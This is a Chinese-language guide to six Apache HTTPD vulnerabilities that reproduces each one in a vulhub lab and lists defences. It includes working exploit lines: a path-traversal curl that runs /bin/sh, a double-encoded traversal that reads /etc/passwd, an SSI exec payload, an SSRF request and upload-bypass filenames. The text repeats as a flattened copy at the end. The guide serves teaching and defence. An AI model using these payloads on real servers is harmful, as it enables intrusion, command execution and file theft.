Apache Httpd 常见漏洞解析(全)
字数 1612 2025-08-10 08:28:21

Apache Httpd 常见漏洞解析与防御指南

一、Apache HTTPD 换行解析漏洞 (CVE-2017-15715)

漏洞描述

Apache HTTPD 2.4.0~2.4.29版本中存在解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致可绕过服务器的安全策略。

漏洞复现步骤

  1. 环境准备:

    cd vulhub/httpd/CVE-2017-15715
    docker-compose build
    docker-compose up -d
    
  2. 访问漏洞环境:http://[IP]:8080/

  3. 漏洞利用:

    • 上传文件123.php会被拦截
    • 123.php后面插入\x0A(不能是\x0D\x0A
    • 使用十六进制编辑器选中0d,插入0a

防御措施

  • 升级到Apache HTTPD 2.4.30或更高版本
  • 在配置文件中添加对换行符的过滤规则

二、Apache HTTPD 多后缀解析漏洞

漏洞描述

Apache HTTPD支持一个文件拥有多个后缀,只要文件含有.php后缀就会被识别为PHP文件,不必是最后一个后缀,导致可绕过上传白名单。

漏洞复现步骤

  1. 环境准备:

    cd /vulhub/httpd/apache_parsing_vulnerability
    docker-compose up -d
    
  2. 访问漏洞环境:http://[IP]

  3. 漏洞利用:

    • 上传文件名为xxx.php.jpgxxx.php.jpeg的文件
    • 文件内容可包含PHP代码:<?=phpinfo()?>

防御措施

  • 严格限制上传文件类型
  • 上传后重命名文件
  • 禁用不必要的文件处理器

三、Apache SSI 远程命令执行漏洞

漏洞描述

当服务器开启SSI与CGI支持时,可上传.shtml文件并利用<!--#exec cmd="id" -->语法执行任意命令。

漏洞复现步骤

  1. 环境准备:

    cd /vulhub/httpd/ssi-rce
    docker-compose up -d
    
  2. 访问漏洞环境:http://[IP]:8080/upload.php

  3. 漏洞利用:

    • 上传shell.shtml文件,内容为:
      <!--#exec cmd="ls" -->
      

防御措施

  • 关闭不必要的SSI功能
  • 限制上传文件类型
  • 对用户上传内容进行严格过滤

四、Apache HTTP 路径穿越漏洞 (CVE-2021-41773)

漏洞描述

Apache HTTPD 2.4.49版本中存在路径穿越漏洞,攻击者可读取Web目录以外的文件或在开启CGI时执行任意命令。

漏洞复现步骤

  1. 环境准备:

    cd /vulhub/httpd/CVE-2021-41773
    docker-compose build
    docker-compose up -d
    
  2. 访问漏洞环境:http://[IP]:8080/

  3. 漏洞利用:

    curl -v --data "echo;id" 'http://[IP]:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
    

防御措施

  • 升级到Apache HTTPD 2.4.50或更高版本
  • 限制目录访问权限

五、Apache HTTP 路径穿越漏洞 (CVE-2021-42013)

漏洞描述

CVE-2021-41773修复不完整导致的漏洞,影响Apache HTTP Server 2.4.49和2.4.50。

漏洞复现步骤

  1. 环境准备:

    cd /vulhub/httpd/CVE-2021-42013
    docker-compose build
    docker-compose up -d
    
  2. 访问漏洞环境:http://[IP]:8080

  3. 漏洞利用:

    curl -v --path-as-is http://[IP]:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
    

防御措施

  • 升级到Apache HTTPD 2.4.51或更高版本
  • 严格配置目录访问权限

六、Apache HTTP SSRF漏洞 (CVE-2021-40438)

漏洞描述

Apache HTTP Server 2.4.48及以前版本中,mod_proxy模块存在逻辑错误导致攻击者可控制反向代理服务器地址,造成SSRF漏洞。

漏洞复现步骤

  1. 环境准备:

    cd /vulhub/httpd/CVE-2021-40438
    docker compose build
    docker compose up -d
    
  2. 访问漏洞环境:http://[IP]:8080

  3. 漏洞利用:
    构造特殊请求:

    GET /?unix:AAAA...AAA|http://example.com/ HTTP/1.1
    Host: [IP]:8080
    

防御措施

  • 升级到Apache HTTPD 2.4.49或更高版本
  • 限制mod_proxy的使用范围
  • 配置严格的代理规则

综合防御建议

  1. 保持更新:始终使用最新稳定版本的Apache HTTP Server

  2. 最小化原则

    • 禁用不必要的模块
    • 限制文件上传功能
    • 关闭不必要的SSI和CGI支持
  3. 严格配置

    • 设置严格的目录权限
    • 配置安全的文件处理器
    • 实现严格的上传文件验证机制
  4. 监控与日志

    • 启用详细日志记录
    • 设置异常行为监控
    • 定期审计配置和日志

通过以上措施,可以显著降低Apache HTTP Server的安全风险,保护Web应用免受攻击。

Apache Httpd 常见漏洞解析与防御指南 一、Apache HTTPD 换行解析漏洞 (CVE-2017-15715) 漏洞描述 Apache HTTPD 2.4.0~2.4.29版本中存在解析漏洞,在解析PHP时, 1.php\x0A 将被按照PHP后缀进行解析,导致可绕过服务器的安全策略。 漏洞复现步骤 环境准备: 访问漏洞环境: http://[IP]:8080/ 漏洞利用: 上传文件 123.php 会被拦截 在 123.php 后面插入 \x0A (不能是 \x0D\x0A ) 使用十六进制编辑器选中 0d ,插入 0a 防御措施 升级到Apache HTTPD 2.4.30或更高版本 在配置文件中添加对换行符的过滤规则 二、Apache HTTPD 多后缀解析漏洞 漏洞描述 Apache HTTPD支持一个文件拥有多个后缀,只要文件含有 .php 后缀就会被识别为PHP文件,不必是最后一个后缀,导致可绕过上传白名单。 漏洞复现步骤 环境准备: 访问漏洞环境: http://[IP] 漏洞利用: 上传文件名为 xxx.php.jpg 或 xxx.php.jpeg 的文件 文件内容可包含PHP代码: <?=phpinfo()?> 防御措施 严格限制上传文件类型 上传后重命名文件 禁用不必要的文件处理器 三、Apache SSI 远程命令执行漏洞 漏洞描述 当服务器开启SSI与CGI支持时,可上传 .shtml 文件并利用 <!--#exec cmd="id" --> 语法执行任意命令。 漏洞复现步骤 环境准备: 访问漏洞环境: http://[IP]:8080/upload.php 漏洞利用: 上传 shell.shtml 文件,内容为: 防御措施 关闭不必要的SSI功能 限制上传文件类型 对用户上传内容进行严格过滤 四、Apache HTTP 路径穿越漏洞 (CVE-2021-41773) 漏洞描述 Apache HTTPD 2.4.49版本中存在路径穿越漏洞,攻击者可读取Web目录以外的文件或在开启CGI时执行任意命令。 漏洞复现步骤 环境准备: 访问漏洞环境: http://[IP]:8080/ 漏洞利用: 防御措施 升级到Apache HTTPD 2.4.50或更高版本 限制目录访问权限 五、Apache HTTP 路径穿越漏洞 (CVE-2021-42013) 漏洞描述 CVE-2021-41773修复不完整导致的漏洞,影响Apache HTTP Server 2.4.49和2.4.50。 漏洞复现步骤 环境准备: 访问漏洞环境: http://[IP]:8080 漏洞利用: 防御措施 升级到Apache HTTPD 2.4.51或更高版本 严格配置目录访问权限 六、Apache HTTP SSRF漏洞 (CVE-2021-40438) 漏洞描述 Apache HTTP Server 2.4.48及以前版本中,mod_ proxy模块存在逻辑错误导致攻击者可控制反向代理服务器地址,造成SSRF漏洞。 漏洞复现步骤 环境准备: 访问漏洞环境: http://[IP]:8080 漏洞利用: 构造特殊请求: 防御措施 升级到Apache HTTPD 2.4.49或更高版本 限制mod_ proxy的使用范围 配置严格的代理规则 综合防御建议 保持更新 :始终使用最新稳定版本的Apache HTTP Server 最小化原则 : 禁用不必要的模块 限制文件上传功能 关闭不必要的SSI和CGI支持 严格配置 : 设置严格的目录权限 配置安全的文件处理器 实现严格的上传文件验证机制 监控与日志 : 启用详细日志记录 设置异常行为监控 定期审计配置和日志 通过以上措施,可以显著降低Apache HTTP Server的安全风险,保护Web应用免受攻击。